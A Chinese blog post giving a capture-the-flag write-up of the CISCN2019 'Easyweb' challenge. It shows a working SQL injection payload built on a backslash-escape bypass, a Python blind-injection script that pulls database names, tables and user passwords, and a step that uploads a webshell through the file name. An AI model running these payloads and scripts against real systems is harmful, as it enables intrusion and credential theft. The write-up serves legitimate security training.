首页 > 其他分享 >[CISCN2019 总决赛 Day2 Web1]Easyweb

[CISCN2019 总决赛 Day2 Web1]Easyweb

时间:2024-07-07 14:21:20浏览次数:16  
标签:name database Day2 mid Web1 path CISCN2019 table id

进入题目
image

查看源码
image

发现id参数可用sql注入
脚本目录扫描发现robots.txt
image

尝试fuzz爆破参数
发现image.php.bak可用
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\0","%00","\'","'"),"",$id);
$path=str_replace(array("\0","%00","\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
?>
发现过滤方法

查看师傅思路绕过
可以将id参数设置为 \0
即id="\0",因为是字符串,所以反斜杠为转义字符,id会被解析为\0,经过addslashes函数处理后变成 \0,最后经过str_replace后变为\

此时的sql语句为select * from images where id='' or path='{$path}'
这时的反斜杠\会将第二个单引号转义,使其变为普通字符,也就是说第一个单引号此时与第三个单引号闭合,id参数对应的值为' or path=

此时就可以构造自己定义的$path参数来拼接sql语句,达到sql注入的目的
构造payload验证是否能注入:?id=\0&path= or 1=if(length(database())>1,1,-1)--+
image

image

成功后可看见JFIF可用来判断是否成功
上脚本
import requests
import time

def start_ascii():
database_name = ""
# table_name = ""
# column_name = ""
url = "http://fc9e7039-98e8-4e17-a163-6ce84cafb88d.node4.buuoj.cn:81/image.php?id=\0&path= or "
for i in range(1,300):
low = 32
high = 128
mid = (low + high)//2
while(low < high):
# payload = "ascii(substr((select(database())),{},1))>{}%23".format(i,mid)
#payload = "ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),{},1))>{}%23".format(i, mid)
# payload = "ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)=(0x7573657273))),{},1))>{}%23".format(i, mid)
payload = "ascii(substr((select(group_concat(password))from(users)),{},1))>{}%23".format(i, mid)
res = requests.get(url + payload)
time.sleep(0.05)
if 'JFIF' in res.text:
low = mid + 1
else:
high = mid
mid = (low + high)//2
# 跳出循环
if mid == 32 or mid == 127:
break
database_name = database_name + chr(mid)
# table_name = table_name + chr(mid)
# column_name = column_name + chr(mid)
print(database_name)

if name == "main":
start_ascii()
得到用户名admin 密码
11c3bb6f5131c8e4efad
登录后
image

文件上传
随意上传一个文件
image

发现会将文件名存入一个php文件
于是将上传的文件名改为木马
image

蚁剑连接后即可找到flag
不知道怎么连不上,之前做的时后都可以

标签:name,database,Day2,mid,Web1,path,CISCN2019,table,id
From: https://www.cnblogs.com/v3n0m-cccccc/p/18288452

相关文章

  • [CISCN2019 华东南赛区]Web11
    进入题目注意到xff在url处随意输入目录·xff随之变化注意下放smarty是php模板猜测xff为模板注入点如下用if标签看到回显得到flagflag{6efda977-94fb-4d30-8668-fe28458ec2bf}......
  • [CISCN2019 华东南赛区]Double Secret
    进入题目由于请求不能过快,目录扫描工具失效可写脚本,根据题目两个secret,猜测有serect目录访问猜测还有一个secret参数随意输入发现源码泄露注意到有flask,考虑python模板注入注意到发现rc4加密找师傅的加密脚本importbase64fromurllib.parseimportquotedef......
  • ctfshow-web入门-文件上传(web151-web160)
    目录1、web1512、web1523、web1534、web1545、web1556、web1567、web1578、web1589、web15910、web1601、web151试了下前端只能传png后缀的将一句话木马改成png后缀,上传后用burpsuite抓包绕过前端检测后,改回php后缀,发包调用:/upload/eval.php?cm......
  • rust学习 day2
    搞了搞基本的并发。照着书上写了个曼德博绘图器。写起来真麻烦,里三层外三层。useactix_web::{web,App,HttpResponse,HttpServer};useserde::Deserialize;#[actix_web::main]asyncfnmain(){println!("Servingonhttp://127.0.0.1:3000");HttpServer::n......
  • Day2 |977.有序数组的平方& 209.长度最小的子数组&59.螺旋矩阵II
    977.有序数组的平方这题太简单了,中间的排序我用的选择排序贴代码了publicint[]sortedSquares(int[]nums){for(inti=0;i<nums.length;i++){nums[i]=nums[i]*nums[i];}for(inti=0;i<nums.length;i++){......
  • Day29.继承介绍
    1.继承介绍_什么是继承_继承格式___bases__用法#1、什么继承?#I:继承是一种创建新类的方式,新建的类可称为子类或派生类,父类又可称为基类或超类,子类会遗传父类的属性#II:需要注意的是:python支持多继承#在Python中,新建的类可以继承一个或多个父类#继......
  • 代码随想录DAY2|有序数组的平方|长度最小的子数组|螺旋矩阵II
    有序数组的平方有序数组的平方解题思路最优的解法是通过双指针,由于该数组是一个非递减数列,我们只需要将数组的首尾两端作为两个指针的起始位置,然后进行比较就行。具体地讲,双指针所指向的值相互比较,把较大的值放入新的数组的开通,然后该指针往前(如果是在首端的指针,则往后)。重复这......
  • Day28.property使用part2
    1.property使用part2_多次调用类中的函数方法property用法,案例一代码如下:'''案例一'''classPeople:def__init__(self,name):self.__name=namedefget_name(self):returnself.__namedefset_name(self,val):......
  • TMS320F28377D学习日志:day2点亮LED
    文章目录一、28377开发板的led电路分析二、28377的GPIO相关寄存器介绍2.1前言2.2GPySET寄存器介绍2.3GPyCLEAR寄存器介绍三、程序介绍3.1引入库3.2配置GPIO引脚功能3.2.1GPIO_SetupPinMux函数3.2.1GPIO_SetupPinOptions函数3.3系统初始化3.4循环程序参考文......
  • Day28.property使用part1
    1.property使用part1 @property用法,代码如下:#装饰器是在不修改被装饰对象源代码以及调用方式的前提下为被装饰对象添加#新功能的可调用对象#property是一个装饰器,用来将绑定给对象的方法,伪装成一个数据属性(即不需要加`()`调用)'''成人的BMI数值:过轻:低于18.5......